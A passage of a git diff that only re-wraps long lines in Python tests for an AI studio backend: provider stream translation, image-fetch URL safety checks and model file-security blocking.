index f17b655908..4fa482674e 100644 --- a/studio/backend/tests/test_external_provider_proxy_env.py +++ b/studio/backend/tests/test_external_provider_proxy_env.py @@ -32,7 +32,9 @@ def test_shared_http_client_ignores_unsupported_proxy_scheme(monkeypatch): def __init__(self, **kwargs): calls.append(kwargs) if kwargs.get("trust_env") is not False: - raise ValueError("Unknown scheme for proxy URL URL('socks4://127.0.0.1:12345')") + raise ValueError( + "Unknown scheme for proxy URL URL('socks4://127.0.0.1:12345')" + ) monkeypatch.setattr(ep_mod.httpx, "AsyncClient", FakeAsyncClient) diff --git a/studio/backend/tests/test_external_provider_usage_chunk.py b/studio/backend/tests/test_external_provider_usage_chunk.py index 3ec9133718..520a4a2169 100644 --- a/studio/backend/tests/test_external_provider_usage_chunk.py +++ b/studio/backend/tests/test_external_provider_usage_chunk.py @@ -183,7 +183,11 @@ def _usage_chunks(lines: list[str]) -> list[dict]: parsed = json.loads(payload) except json.JSONDecodeError: continue - if isinstance(parsed, dict) and "usage" in parsed and parsed.get("choices") == []: + if ( + isinstance(parsed, dict) + and "usage" in parsed + and parsed.get("choices") == [] + ): out.append(parsed["usage"]) return out @@ -239,7 +243,9 @@ def test_custom_provider_test_endpoint_probes_chat_completion(monkeypatch): from pathlib import Path module_path = Path(__file__).resolve().parents[1] / "routes" / "providers.py" - spec = importlib.util.spec_from_file_location("_providers_route_under_test", module_path) + spec = importlib.util.spec_from_file_location( + "_providers_route_under_test", module_path + ) assert spec is not None assert spec.loader is not None providers_route = importlib.util.module_from_spec(spec) @@ -289,7 +295,9 @@ def test_custom_provider_test_endpoint_requires_model_id(monkeypatch): from pathlib import Path module_path = Path(__file__).resolve().parents[1] / "routes" / "providers.py" - spec = importlib.util.spec_from_file_location("_providers_route_under_test", module_path) + spec = importlib.util.spec_from_file_location( + "_providers_route_under_test", module_path + ) assert spec is not None assert spec.loader is not None providers_route = importlib.util.module_from_spec(spec) @@ -375,9 +383,13 @@ def test_anthropic_stream_emits_usage_chunk_before_done(monkeypatch): # Usage chunk must come before [DONE]. data_lines = [ln for ln in lines if ln.startswith("data:")] - done_idx = next(i for i, ln in enumerate(data_lines) if ln.strip().endswith("[DONE]")) + done_idx = next( + i for i, ln in enumerate(data_lines) if ln.strip().endswith("[DONE]") + ) usage_idx = next( - i for i, ln in enumerate(data_lines) if '"usage":' in ln and '"choices": []' in ln + i + for i, ln in enumerate(data_lines) + if '"usage":' in ln and '"choices": []' in ln ) assert usage_idx < done_idx diff --git a/studio/backend/tests/test_file_security.py b/studio/backend/tests/test_file_security.py index b4c8f5d242..5395a9f9cd 100644 --- a/studio/backend/tests/test_file_security.py +++ b/studio/backend/tests/test_file_security.py @@ -111,7 +111,10 @@ def _patch_index_mixed(weight_map, readable_index, failing_index): @pytest.mark.parametrize("level", ["unsafe", "suspicious", "malicious"]) def test_blocks_each_blocking_level(level): - status = {"scansDone": True, "filesWithIssues": [{"path": "pytorch_model.bin", "level": level}]} + status = { + "scansDone": True, + "filesWithIssues": [{"path": "pytorch_model.bin", "level": level}], + } with _patch_status(status): d = evaluate_file_security("evil/repo") assert d.blocked is True @@ -132,7 +135,10 @@ def test_ignores_safe_only(): def test_blocks_unsafe_even_when_scans_not_done(): # scansDone is often False for clean repos; an already-flagged file must still block. - status = {"scansDone": False, "filesWithIssues": [{"path": "x.pkl", "level": "unsafe"}]} + status = { + "scansDone": False, + "filesWithIssues": [{"path": "x.pkl", "level": "unsafe"}], + } with _patch_status(status): d = evaluate_file_security("evil/repo") assert d.blocked is True @@ -159,7 +165,9 @@ def test_fail_open_scans_done_no_issues(): def test_skips_local_path(): # A local path has no Hub scan; must not even call model_info. - with patch("huggingface_hub.model_info", side_effect = AssertionError("should not be called")): + with patch( + "huggingface_hub.model_info", side_effect = AssertionError("should not be called") + ): d = evaluate_file_security("/tmp/some/local/model") assert d.blocked is False assert "local" in d.reason @@ -180,7 +188,9 @@ def test_remote_gguf_named_repo_is_still_scanned(): def test_skips_local_gguf_file(): # A local .gguf path is caught by is_local_path -- no Hub call. - with patch("huggingface_hub.model_info", side_effect = AssertionError("should not be called")): + with patch( + "huggingface_hub.model_info", side_effect = AssertionError("should not be called") + ): d = evaluate_file_security("/tmp/models/model.gguf") assert d.blocked is False assert "local" in d.reason @@ -209,7 +219,10 @@ def test_malformed_entries_are_ignored(): def test_response_payload_shape(): - status = {"scansDone": True, "filesWithIssues": [{"path": "a.pkl", "level": "malicious"}]} + status = { + "scansDone": True, + "filesWithIssues": [{"path": "a.pkl", "level": "malicious"}], + } with _patch_status(status): payload = evaluate_file_security("evil/repo").response_payload() assert set(payload) == {"unsafe_files", "security_blocked", "reason"} @@ -225,7 +238,9 @@ def test_flagged_safetensors_does_not_block(): # picklescan tripping on a sibling pickle) is not an RCE vector and must not block. status = { "scansDone": False, - "filesWithIssues": [{"path": "model-00001-of-00004.safetensors", "level": "unsafe"}], + "filesWithIssues": [ + {"path": "model-00001-of-00004.safetensors", "level": "unsafe"} + ], } with _patch_status(status): d = evaluate_file_security("nvidia/some-model") @@ -372,7 +387,10 @@ def test_eicar_shaped_root_files_block(): def test_unknown_future_level_fails_closed(): # Hub schema drift: an unrecognized non-"safe" level (e.g. "infected") on a root pickle must block. - status = {"scansDone": True, "filesWithIssues": [{"path": "weights.bin", "level": "infected"}]} + status = { + "scansDone": True, + "filesWithIssues": [{"path": "weights.bin", "level": "infected"}], + } with _patch_status(status): d = evaluate_file_security("evil/repo") assert d.blocked is True @@ -492,7 +510,9 @@ def test_spark_tts_llm_alias_scans_real_repo(): cap, seen = _patch_status_capture(status) with cap, patch("utils.paths.is_local_path", return_value = False), _patch_no_index(): d = evaluate_file_security("Spark-TTS-0.5B/LLM", load_subdirs = ()) - assert seen["repo"] == "unsloth/Spark-TTS-0.5B" # scanned the real repo, not the alias + assert ( + seen["repo"] == "unsloth/Spark-TTS-0.5B" + ) # scanned the real repo, not the alias assert d.model_name == "unsloth/Spark-TTS-0.5B" assert d.blocked is True assert d.unsafe_files == [{"path": "LLM/pytorch_model.bin", "level": "unsafe"}] @@ -526,9 +546,13 @@ def test_security_load_subdirs_yaml_fallback(monkeypatch): from utils.security import security_load_subdirs monkeypatch.setattr(mc, "detect_audio_type", lambda *_a, **_k: None) - monkeypatch.setattr(mc, "load_model_defaults", lambda *_a, **_k: {"audio_type": "bicodec"}) + monkeypatch.setattr( + mc, "load_model_defaults", lambda *_a, **_k: {"audio_type": "bicodec"} + ) assert security_load_subdirs("unsloth/Spark-TTS-0.5B") == ("LLM",) # A non-bicodec default contributes no subdir. - monkeypatch.setattr(mc, "load_model_defaults", lambda *_a, **_k: {"audio_type": None}) + monkeypatch.setattr( + mc, "load_model_defaults", lambda *_a, **_k: {"audio_type": None} + ) assert security_load_subdirs("unsloth/Llama-3.2-1B") == () diff --git a/studio/backend/tests/test_frontend_resolution.py b/studio/backend/tests/test_frontend_resolution.py index 7ac2717aae..17bdb409a3 100644 --- a/studio/backend/tests/test_frontend_resolution.py +++ b/studio/backend/tests/test_frontend_resolution.py @@ -129,7 +129,13 @@ def test_resolver_falls_back_to_windows_layout_site_packages(tmp_path, monkeypat alongside the POSIX `lib/python*/site-packages`.""" studio_home = tmp_path / "studio_home" sp_dist = ( - studio_home / "unsloth_studio" / "Lib" / "site-packages" / "studio" / "frontend" / "dist" + studio_home + / "unsloth_studio" + / "Lib" + / "site-packages" + / "studio" + / "frontend" + / "dist" ) sp_dist.mkdir(parents = True) (sp_dist / "index.html").write_text("", encoding = "utf-8") diff --git a/studio/backend/tests/test_gemini_provider.py b/studio/backend/tests/test_gemini_provider.py index c6ffa798d0..d95ecfa29a 100644 --- a/studio/backend/tests/test_gemini_provider.py +++ b/studio/backend/tests/test_gemini_provider.py @@ -542,7 +542,9 @@ def test_finish_reason_swaps_to_tool_calls_when_function_call_emitted(monkeypatc { "content": { "role": "model", - "parts": [{"functionCall": {"name": "lookup", "args": {"k": "v"}}}], + "parts": [ + {"functionCall": {"name": "lookup", "args": {"k": "v"}}} + ], }, "finishReason": "STOP", } @@ -626,7 +628,9 @@ def test_thought_signature_emitted_in_tool_call_delta(monkeypatch): deltas = [ tc for c in chunks - for tc in (c.get("choices", [{}])[0].get("delta", {}) or {}).get("tool_calls", []) + for tc in (c.get("choices", [{}])[0].get("delta", {}) or {}).get( + "tool_calls", [] + ) ] assert deltas, chunks sig = deltas[0].get("extra_content", {}).get("google", {}).get("thought_signature") @@ -680,7 +684,10 @@ def test_image_generation_tool_on_image_model_drops_text_tools(monkeypatch): ], ) assert "tools" not in captured["body"], captured["body"] - assert captured["body"]["generationConfig"].get("responseModalities") == ["TEXT", "IMAGE"] + assert captured["body"]["generationConfig"].get("responseModalities") == [ + "TEXT", + "IMAGE", + ] def test_prompt_feedback_block_reason_surfaces_as_error(monkeypatch): @@ -694,7 +701,9 @@ def test_prompt_feedback_block_reason_surfaces_as_error(monkeypatch): chunks = _parse_chunks(_collect(monkeypatch, sse)) error_chunks = [c for c in chunks if "error" in c] assert error_chunks, chunks - assert "SAFETY" in (error_chunks[0].get("error", {}).get("message") or ""), error_chunks + assert "SAFETY" in ( + error_chunks[0].get("error", {}).get("message") or "" + ), error_chunks def test_usage_chunk_includes_thoughts_tokens(monkeypatch): @@ -782,7 +791,10 @@ def test_image_model_sets_response_modalities(monkeypatch): model = "gemini-2.5-flash-image", enabled_tools = ["image_generation"], ) - assert captured["body"]["generationConfig"]["responseModalities"] == ["TEXT", "IMAGE"] + assert captured["body"]["generationConfig"]["responseModalities"] == [ + "TEXT", + "IMAGE", + ] def test_image_generation_tool_sets_response_modalities_on_image_model(monkeypatch): @@ -795,7 +807,10 @@ def test_image_generation_tool_sets_response_modalities_on_image_model(monkeypat model = "gemini-2.5-flash-image", enabled_tools = ["image_generation"], ) - assert captured["body"]["generationConfig"]["responseModalities"] == ["TEXT", "IMAGE"] + assert captured["body"]["generationConfig"]["responseModalities"] == [ + "TEXT", + "IMAGE", + ] def test_image_response_emits_image_b64_tool_event(monkeypatch): @@ -983,7 +998,9 @@ def test_parallel_function_calls_get_distinct_tool_call_indices(monkeypatch): ) ] assert len(tool_call_chunks) == 2, tool_call_chunks - indices = [c["choices"][0]["delta"]["tool_calls"][0]["index"] for c in tool_call_chunks] + indices = [ + c["choices"][0]["delta"]["tool_calls"][0]["index"] for c in tool_call_chunks + ] assert indices == [0, 1], indices @@ -1030,7 +1047,10 @@ def test_function_call_ids_forwarded_into_gemini_function_call_part(monkeypatch) call_ids = [p["functionCall"]["id"] for p in assistant_parts if "functionCall" in p] assert call_ids == ["call_alpha", "call_beta"], assistant_parts response_ids = [ - p["functionResponse"]["id"] for c in contents for p in c["parts"] if "functionResponse" in p + p["functionResponse"]["id"] + for c in contents + for p in c["parts"] + if "functionResponse" in p ] assert response_ids == ["call_alpha", "call_beta"], contents @@ -1108,7 +1128,9 @@ def test_code_execution_parts_translate_to_code_execution_tool_events(monkeypatc if e.get("type") == "tool_start" and e.get("tool_name") == "code_execution" ] code_ends = [ - e for e in tool_events if e.get("type") == "tool_end" and "4" in str(e.get("result", "")) + e + for e in tool_events + if e.get("type") == "tool_end" and "4" in str(e.get("result", "")) ] assert len(code_starts) == 1, tool_events assert code_starts[0]["arguments"]["code"] == "print(2+2)" @@ -1645,7 +1667,9 @@ def test_safe_fetch_image_rejects_resolved_private_host(monkeypatch): monkeypatch.setattr(socket, "getaddrinfo", fake_getaddrinfo) res = asyncio.new_event_loop().run_until_complete( - ep_mod._safe_fetch_image_for_gemini("https://internal.example/x.png", "image/png") + ep_mod._safe_fetch_image_for_gemini( + "https://internal.example/x.png", "image/png" + ) ) assert res is None @@ -1719,7 +1743,9 @@ def test_youtube_and_files_api_uris_stay_as_file_data(monkeypatch): parts = captured["body"]["contents"][-1]["parts"] file_uris = [p["fileData"]["fileUri"] for p in parts if "fileData" in p] assert "https://www.youtube.com/watch?v=abc123" in file_uris, parts - assert "https://generativelanguage.googleapis.com/v1beta/files/abc" in file_uris, parts + assert ( + "https://generativelanguage.googleapis.com/v1beta/files/abc" in file_uris + ), parts def test_tool_use_prompt_tokens_added_to_input_tokens(monkeypatch): @@ -1912,7 +1938,9 @@ def test_inline_image_tool_end_carries_thought_signature(monkeypatch): ) chunks = _parse_chunks(lines) tool_events = [c["_toolEvent"] for c in chunks if "_toolEvent" in c] - image_ends = [e for e in tool_events if e.get("type") == "tool_end" and e.get("image_b64")] + image_ends = [ + e for e in tool_events if e.get("type") == "tool_end" and e.get("image_b64") + ] assert image_ends, tool_events assert image_ends[0]["google"]["thought_signature"] == "SIG-IMG" # Multi-turn image edit must replay the original inlineData part with its @@ -1978,7 +2006,9 @@ def test_code_execution_plot_attaches_inline_image_native_part(monkeypatch): chunks = _parse_chunks(lines) tool_events = [c["_toolEvent"] for c in chunks if "_toolEvent" in c] code_ends = [ - e for e in tool_events if e.get("type") == "tool_end" and e.get("tool_call_id") == "code_a" + e + for e in tool_events + if e.get("type") == "tool_end" and e.get("tool_call_id") == "code_a" ] # Two tool_end events on the same id: one for codeExecutionResult, one # merging in the inlineData plot. The plot one must carry the native @@ -2025,7 +2055,9 @@ def test_text_chunk_carries_thought_signature(monkeypatch): lines = _collect(monkeypatch, sse) chunks = _parse_chunks(lines) text_chunks = [ - c for c in chunks if c.get("choices") and c["choices"][0]["delta"].get("content") == "hello" + c + for c in chunks + if c.get("choices") and c["choices"][0]["delta"].get("content") == "hello" ] assert text_chunks, chunks extra = text_chunks[0]["choices"][0]["delta"].get("extra_content") @@ -2203,7 +2235,8 @@ def test_code_execution_tool_call_replays_native_executable_code(monkeypatch): assert "executableCode" in native_keys, parts assert "codeExecutionResult" in native_keys, parts assert not any( - "functionCall" in p and (p["functionCall"] or {}).get("name") == "code_execution" + "functionCall" in p + and (p["functionCall"] or {}).get("name") == "code_execution" for p in parts ), parts exec_part = next(p for p in parts if "executableCode" in p) @@ -2258,7 +2291,8 @@ def test_image_generation_tool_call_replays_native_inline_data(monkeypatch): assert inline_parts[0]["inlineData"]["data"] == pixel assert inline_parts[0].get("thoughtSignature") == "SIG-IMG", inline_parts assert not any( - "functionCall" in p and (p["functionCall"] or {}).get("name") == "image_generation" + "functionCall" in p + and (p["functionCall"] or {}).get("name") == "image_generation" for p in parts ), parts @@ -2325,7 +2359,11 @@ def test_function_declarations_strip_openai_only_schema_keys(monkeypatch): ) tools_arr = captured["body"].get("tools") or [] decls = next( - (t.get("functionDeclarations") for t in tools_arr if "functionDeclarations" in t), + ( + t.get("functionDeclarations") + for t in tools_arr + if "functionDeclarations" in t + ), None, ) assert decls is not None, captured["body"] @@ -2378,7 +2416,11 @@ def test_function_declarations_inline_local_refs_into_gemini_schema(monkeypatch) ) tools_arr = captured["body"].get("tools") or [] decls = next( - (t.get("functionDeclarations") for t in tools_arr if "functionDeclarations" in t), + ( + t.get("functionDeclarations") + for t in tools_arr + if "functionDeclarations" in t + ), None, ) assert decls is not None, captured["body"] @@ -2429,7 +2471,11 @@ def test_function_declarations_inline_local_refs_in_anyof_and_items(monkeypatch) ) tools_arr = captured["body"].get("tools") or [] decls = next( - (t.get("functionDeclarations") for t in tools_arr if "functionDeclarations" in t), + ( + t.get("functionDeclarations") + for t in tools_arr + if "functionDeclarations" in t + ), None, ) assert decls is not None @@ -2444,7 +2490,10 @@ def test_function_declarations_inline_local_refs_in_anyof_and_items(monkeypatch) extras = params["properties"]["extras"] assert extras.get("type") == "array" assert extras.get("items", {}).get("type") == "object" - assert extras.get("items", {}).get("properties", {}).get("zip", {}).get("type") == "string" + assert ( + extras.get("items", {}).get("properties", {}).get("zip", {}).get("type") + == "string" + ) def test_function_declarations_self_referential_schema_terminates(monkeypatch): @@ -2482,7 +2531,11 @@ def test_function_declarations_self_referential_schema_terminates(monkeypatch): ) tools_arr = captured["body"].get("tools") or [] decls = next( - (t.get("functionDeclarations") for t in tools_arr if "functionDeclarations" in t), + ( + t.get("functionDeclarations") + for t in tools_arr + if "functionDeclarations" in t + ), None, ) assert decls is not None @@ -2545,7 +2598,9 @@ def test_gemini_native_skips_orphan_function_response_for_dropped_builtin(monkey assert fr.get("name") != "web_search", contents -def test_gemini_native_skips_orphan_function_response_for_native_part_replay(monkeypatch): +def test_gemini_native_skips_orphan_function_response_for_native_part_replay( + monkeypatch, +): """Round 26: code_execution / image_generation tool_calls are replayed as Gemini-native executableCode / codeExecutionResult / inlineData parts. The matching role="tool" follow-up must NOT then be emitted as a @@ -2761,7 +2816,9 @@ def test_chat_message_extra_content_round_trips_through_validation(): base_url = "https://generativelanguage.googleapis.com/v1beta", ) assistant_out = built[1] - assert assistant_out["extra_content"] == {"google": {"thought_signature": "SIG-TEXT"}} + assert assistant_out["extra_content"] == { + "google": {"thought_signature": "SIG-TEXT"} + } # Non-Gemini providers must NOT receive extra_content; Google's # thought_signature is unknown to OpenAI / Mistral / etc. built_openai = _build_external_messages( @@ -2828,7 +2885,10 @@ def test_parallel_tool_results_group_into_one_user_block(monkeypatch): c for c in contents if c.get("role") == "user" - and all(isinstance(p, dict) and "functionResponse" in p for p in (c.get("parts") or [])) + and all( + isinstance(p, dict) and "functionResponse" in p + for p in (c.get("parts") or []) + ) ] assert len(tool_result_users) == 1, contents fr_parts = tool_result_users[0]["parts"] @@ -2886,7 +2946,9 @@ def test_image_picker_model_with_search_off_pill_strips_text_tools(monkeypatch): ) body = captured["body"] assert "tools" not in body, body.get("tools") - assert "thinkingConfig" not in body.get("generationConfig", {}), body["generationConfig"] + assert "thinkingConfig" not in body.get("generationConfig", {}), body[ + "generationConfig" + ] def test_image_models_drop_function_declarations(monkeypatch): @@ -2904,7 +2966,10 @@ def test_image_models_drop_function_declarations(monkeypatch): ], ) assert captured["body"].get("tools") is None - assert captured["body"]["generationConfig"]["responseModalities"] == ["TEXT", "IMAGE"] + assert captured["body"]["generationConfig"]["responseModalities"] == [ + "TEXT", + "IMAGE", + ] def test_safe_fetch_image_rejects_malformed_bracketed_url(): @@ -2970,14 +3035,22 @@ def test_safe_fetch_image_pins_validated_ip_no_hostname_in_request(monkeypatch): ) return _StubResp() - monkeypatch.setattr("urllib.request.build_opener", lambda *_args, **_kw: _StubOpener()) + monkeypatch.setattr( + "urllib.request.build_opener", lambda *_args, **_kw: _StubOpener() + ) - res = _drive(ep_mod._safe_fetch_image_for_gemini("https://cdn.example.com/x.png", "image/png")) + res = _drive( + ep_mod._safe_fetch_image_for_gemini( + "https://cdn.example.com/x.png", "image/png" + ) + ) assert res is not None assert res[0] == "image/png" # Outgoing URL must use the pinned IP literal, not the hostname. assert any("8.8.8.8" in r["url"] for r in captured["requests"]), captured - assert all("cdn.example.com" not in r["url"] for r in captured["requests"]), captured + assert all( + "cdn.example.com" not in r["url"] for r in captured["requests"] + ), captured # Host header still carries the original hostname for vhost/SNI. assert captured["requests"][0]["host_header"] == "cdn.example.com" @@ -3030,9 +3103,15 @@ def test_safe_fetch_image_redirect_to_private_host_rejected(monkeypatch): None, ) - monkeypatch.setattr("urllib.request.build_opener", lambda *_args, **_kw: _StubOpener()) + monkeypatch.setattr( + "urllib.request.build_opener", lambda *_args, **_kw: _StubOpener() + ) - res = _drive(ep_mod._safe_fetch_image_for_gemini("https://cdn.example.com/x.png", "image/png")) + res = _drive( + ep_mod._safe_fetch_image_for_gemini( + "https://cdn.example.com/x.png", "image/png" + ) + ) assert res is None @@ -3182,7 +3261,9 @@ def test_legacy_gemini3_pro_medium_coerced_to_high(monkeypatch): model = "gemini-3-pro-preview", reasoning_effort = "medium", ) - assert captured["body"]["generationConfig"]["thinkingConfig"] == {"thinkingLevel": "high"} + assert captured["body"]["generationConfig"]["thinkingConfig"] == { + "thinkingLevel": "high" + } def test_gemini_3_1_pro_medium_passes_through(monkeypatch): @@ -3193,7 +3274,9 @@ def test_gemini_3_1_pro_medium_passes_through(monkeypatch): model = "gemini-3.1-pro-preview", reasoning_effort = "medium", ) - assert captured["body"]["generationConfig"]["thinkingConfig"] == {"thinkingLevel": "medium"} + assert captured["body"]["generationConfig"]["thinkingConfig"] == { + "thinkingLevel": "medium" + } def test_tool_calls_extra_content_stripped_for_non_native_gemini(): @@ -3289,7 +3372,9 @@ def test_user_function_named_with_server_tool_arg_not_dropped(monkeypatch): "type": "function", "function": { "name": "user_function", - "arguments": json.dumps({"_server_tool": True, "q": "x"}), + "arguments": json.dumps( + {"_server_tool": True, "q": "x"} + ), }, } ], @@ -3354,7 +3439,9 @@ def test_builtin_named_with_server_tool_marker_dropped(monkeypatch): "type": "function", "function": { "name": "web_search", - "arguments": json.dumps({"_server_tool": True, "query": "x"}), + "arguments": json.dumps( + {"_server_tool": True, "query": "x"} + ), }, } ], @@ -3442,7 +3529,9 @@ def test_schema_anyof_multitype_with_null_keeps_anyof_and_nullable(monkeypatch): assert either.get("nullable") is True inner = either.get("anyOf") assert isinstance(inner, list) and len(inner) == 2, either - assert all(not (isinstance(b, dict) and b.get("type") == "null") for b in inner), inner + assert all( + not (isinstance(b, dict) and b.get("type") == "null") for b in inner + ), inner def test_safe_fetch_image_redirect_malformed_url_no_crash(monkeypatch): @@ -3483,16 +3572,26 @@ def test_safe_fetch_image_redirect_malformed_url_no_crash(monkeypatch): None, ) - monkeypatch.setattr("urllib.request.build_opener", lambda *_args, **_kw: _StubOpener()) + monkeypatch.setattr( + "urllib.request.build_opener", lambda *_args, **_kw: _StubOpener() + ) - res = _drive(ep_mod._safe_fetch_image_for_gemini("https://cdn.example.com/x.png", "image/png")) + res = _drive( + ep_mod._safe_fetch_image_for_gemini( + "https://cdn.example.com/x.png", "image/png" + ) + ) assert res is None def test_safe_fetch_image_malformed_port_no_crash(): """Round 18: a URL with a non-numeric port (`https://h:bad/x.png`) must not raise; urlparse's port property lazily ValueErrors.""" - res = _drive(ep_mod._safe_fetch_image_for_gemini("https://example.com:bad/x.png", "image/png")) + res = _drive( + ep_mod._safe_fetch_image_for_gemini( + "https://example.com:bad/x.png", "image/png" + ) + ) assert res is None @@ -3541,10 +3640,14 @@ def test_safe_fetch_image_missing_content_type_uses_fallback(monkeypatch): ): return _StubResp() - monkeypatch.setattr("urllib.request.build_opener", lambda *_args, **_kw: _StubOpener()) + monkeypatch.setattr( + "urllib.request.build_opener", lambda *_args, **_kw: _StubOpener() + ) res = _drive( - ep_mod._safe_fetch_image_for_gemini("https://cdn.example.com/cat.png", "image/png") + ep_mod._safe_fetch_image_for_gemini( + "https://cdn.example.com/cat.png", "image/png" + ) ) assert res is not None assert res[0] == "image/png" @@ -3625,7 +3728,9 @@ def test_anthropic_translates_openai_tool_calls_into_tool_use_blocks(monkeypatch tool_results: list[dict] = [] for m in msgs: if m.get("role") == "user" and isinstance(m.get("content"), list): - tool_results.extend(b for b in m["content"] if b.get("type") == "tool_result") + tool_results.extend( + b for b in m["content"] if b.get("type") == "tool_result" + ) assert any( tr.get("tool_use_id") == "call_a" and tr.get("content") == "result_text" for tr in tool_results @@ -4105,7 +4210,9 @@ def test_orphan_function_call_output_dropped_when_call_skipped(monkeypatch): "type": "function", "function": { "name": "web_search", - "arguments": json.dumps({"_server_tool": True, "query": "x"}), + "arguments": json.dumps( + {"_server_tool": True, "query": "x"} + ), }, } ], @@ -4166,7 +4273,9 @@ def test_schema_multitype_union_with_null_preserves_anyof(monkeypatch): assert either.get("nullable") is True inner = either.get("anyOf") assert isinstance(inner, list) and len(inner) == 2, either - types = sorted(b.get("type") for b in inner if isinstance(b, dict) and b.get("type")) + types = sorted( + b.get("type") for b in inner if isinstance(b, dict) and b.get("type") + ) assert types == ["integer", "string"], inner @@ -4368,7 +4477,9 @@ def test_openrouter_no_synthetic_web_search_event_on_tool_choice_none(monkeypatc _drive(run()) # No synthetic web_search tool_start / tool_end emitted. - assert all(e.get("tool_name") != "web_search" for e in captured_events), captured_events + assert all( + e.get("tool_name") != "web_search" for e in captured_events + ), captured_events def test_anthropic_role_tool_list_content_translates_to_tool_result(monkeypatch): @@ -4435,7 +4546,9 @@ def test_anthropic_role_tool_list_content_translates_to_tool_result(monkeypatch) tool_results: list[dict] = [] for m in msgs: if m.get("role") == "user" and isinstance(m.get("content"), list): - tool_results.extend(b for b in m["content"] if b.get("type") == "tool_result") + tool_results.extend( + b for b in m["content"] if b.get("type") == "tool_result" + ) assert any( tr.get("tool_use_id") == "call_a" and tr.get("content") == "result_text" for tr in tool_results @@ -4561,7 +4674,13 @@ def test_openai_responses_assistant_text_serialized_before_function_call(monkeyp # function_call (get_weather) # function_call_output (sunny) # user ("thanks") - assert types == ["user", "assistant", "function_call", "function_call_output", "user"], items + assert types == [ + "user", + "assistant", + "function_call", + "function_call_output", + "user", + ], items def test_gemini_tool_choice_none_disables_image_generation(monkeypatch): @@ -4631,7 +4750,9 @@ def test_gemini_forced_function_tool_choice_drops_image_generation(monkeypatch): assert body["generationConfig"].get("responseModalities") == ["TEXT"], body -def test_gemini_code_execution_native_part_list_replays_per_part_signatures(monkeypatch): +def test_gemini_code_execution_native_part_list_replays_per_part_signatures( + monkeypatch, +): """Round 21: merged code-execution history must replay per-part `thoughtSignature`s, not fan one top-level signature across every native subpart. Gemini 3 strict validators reject a signature on the wrong @@ -4847,7 +4968,9 @@ def test_safe_fetch_image_threads_per_request_byte_budget(monkeypatch): ): return _StubResp() - monkeypatch.setattr("urllib.request.build_opener", lambda *_args, **_kw: _StubOpener()) + monkeypatch.setattr( + "urllib.request.build_opener", lambda *_args, **_kw: _StubOpener() + ) res = _drive( ep_mod._safe_fetch_image_for_gemini( @@ -4870,7 +4993,9 @@ def test_openai_chat_delta_type_includes_tool_calls_and_extra_content(): import os here = os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) - types_path = os.path.join(here, "frontend", "src", "features", "chat", "types", "api.ts") + types_path = os.path.join( + here, "frontend", "src", "features", "chat", "types", "api.ts" + ) with open(types_path, "r", encoding = "utf-8") as f: src = f.read() assert "tool_calls?: OpenAIToolCallPart[]" in src, src[:200] @@ -5076,7 +5201,9 @@ def test_openai_responses_forced_function_tool_choice_drops_hosted_tools(monkeyp assert not (hosted_seen & hosted_types), body # The user function declaration must still be present so the pin has a # target. - user_function_seen = any(isinstance(t, dict) and t.get("type") == "function" for t in tools) + user_function_seen = any( + isinstance(t, dict) and t.get("type") == "function" for t in tools + ) assert user_function_seen, body # And the forced-function tool_choice must be forwarded in Responses shape: # `{type:"function", name:"..."}`. @@ -5300,7 +5427,9 @@ def test_strip_provider_synthetic_tool_history_drops_empty_assistant(): assert roles == ["user", "user"], out -def test_openrouter_no_synthetic_web_search_event_on_forced_function_tool_choice(monkeypatch): +def test_openrouter_no_synthetic_web_search_event_on_forced_function_tool_choice( + monkeypatch, +): """Round 22 sibling of the round-20 `tool_choice='none'` test: when the caller forces a specific function via `tool_choice={"type":"function", ...}` AND passes `enabled_tools=["web_search"]`, the OpenRouter path must NOT @@ -5311,7 +5440,10 @@ def test_openrouter_no_synthetic_web_search_event_on_forced_function_tool_choice def handler(request: httpx.Request) -> httpx.Response: return httpx.Response( 200, - content = (b'data: {"choices":[{"delta":{"content":"ok"}}]}\n\n' b"data: [DONE]\n\n"), + content = ( + b'data: {"choices":[{"delta":{"content":"ok"}}]}\n\n' + b"data: [DONE]\n\n" + ), headers = {"content-type": "text/event-stream"}, ) diff --git a/studio/backend/tests/test_gemma4_chat_template_override.py b/studio/backend/tests/test_gemma4_chat_template_override.py index 9fb24a4cf6..4a144d73cf 100644 --- a/studio/backend/tests/test_gemma4_chat_template_override.py +++ b/studio/backend/tests/test_gemma4_chat_template_override.py @@ -32,7 +32,9 @@ chat_templates = importlib.util.module_from_spec(_ct_spec) _ct_spec.loader.exec_module(chat_templates) is_unsloth_gemma4_gguf = chat_templates.is_unsloth_gemma4_gguf -resolve_effective_chat_template_override = chat_templates.resolve_effective_chat_template_override +resolve_effective_chat_template_override = ( + chat_templates.resolve_effective_chat_template_override +) load_bundled_chat_template = chat_templates.load_bundled_chat_template is_unsloth_gemma4_edge_gguf = chat_templates.is_unsloth_gemma4_edge_gguf @@ -137,7 +139,9 @@ def test_is_unsloth_gemma4_edge_gguf(model_id, expected_edge): def test_resolver_returns_edge_template_for_e2b_e4b(): for mid in ("unsloth/gemma-4-E2B-it-GGUF", "unsloth/gemma-4-E4B-it-GGUF"): - out = resolve_effective_chat_template_override(model_identifier = mid, user_override = None) + out = resolve_effective_chat_template_override( + model_identifier = mid, user_override = None + ) assert out == EDGE assert out != BUNDLED @@ -165,7 +169,9 @@ def test_resolver_returns_standard_template_for_larger_models(): "unsloth/gemma-4-26B-A4B-it-GGUF", "unsloth/gemma-4-31B-it-GGUF", ): - out = resolve_effective_chat_template_override(model_identifier = mid, user_override = None) + out = resolve_effective_chat_template_override( + model_identifier = mid, user_override = None + ) assert out == BUNDLED @@ -268,7 +274,9 @@ def _convo_with_prior_tool_reasoning(): { "role": "assistant", "reasoning_content": "SECRET_THOUGHT", - "tool_calls": [{"id": "c1", "function": {"name": "f", "arguments": {"x": 1}}}], + "tool_calls": [ + {"id": "c1", "function": {"name": "f", "arguments": {"x": 1}}} + ], }, {"role": "tool", "tool_call_id": "c1", "content": "42"}, {"role": "user", "content": "q2"}, @@ -281,12 +289,18 @@ def test_preserve_thinking_off_omits_prior_reasoning(): def test_preserve_thinking_on_keeps_prior_reasoning(): - assert "SECRET_THOUGHT" in _render(_convo_with_prior_tool_reasoning(), preserve_thinking = True) + assert "SECRET_THOUGHT" in _render( + _convo_with_prior_tool_reasoning(), preserve_thinking = True + ) def test_enable_thinking_gates_think_token(): - assert "<|think|>" in _render([{"role": "user", "content": "hi"}], enable_thinking = True) - assert "<|think|>" not in _render([{"role": "user", "content": "hi"}], enable_thinking = False) + assert "<|think|>" in _render( + [{"role": "user", "content": "hi"}], enable_thinking = True + ) + assert 